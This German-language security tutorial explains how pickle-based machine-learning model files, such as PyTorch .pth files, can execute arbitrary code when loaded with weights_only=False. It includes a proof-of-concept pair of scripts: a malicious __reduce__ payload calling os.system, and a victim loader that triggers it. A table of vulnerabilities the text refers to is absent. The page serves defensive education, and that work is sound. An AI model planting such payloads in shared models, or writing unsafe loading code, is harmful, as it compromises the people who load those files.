Modelle RCE

Reading time: 5 minutes

Modelle zu RCE laden

Machine Learning-Modelle werden normalerweise in verschiedenen Formaten geteilt, wie ONNX, TensorFlow, PyTorch usw. Diese Modelle können auf den Maschinen der Entwickler oder in Produktionssystemen geladen werden, um sie zu verwenden. Normalerweise sollten die Modelle keinen schädlichen Code enthalten, aber es gibt einige Fälle, in denen das Modell verwendet werden kann, um beliebigen Code auf dem System auszuführen, entweder als beabsichtigte Funktion oder aufgrund einer Schwachstelle in der Bibliothek zum Laden des Modells.

Zum Zeitpunkt des Schreibens sind dies einige Beispiele für diese Art von Schwachstellen:

Darüber hinaus gibt es einige auf Python-Pickle basierende Modelle wie die von PyTorch, die verwendet werden können, um beliebigen Code auf dem System auszuführen, wenn sie nicht mit weights_only=True geladen werden. Daher könnte jedes auf Pickle basierende Modell besonders anfällig für diese Art von Angriffen sein, auch wenn sie nicht in der obigen Tabelle aufgeführt sind.

Beispiel:

• Erstellen Sie das Modell:

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• Lade das Modell:

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error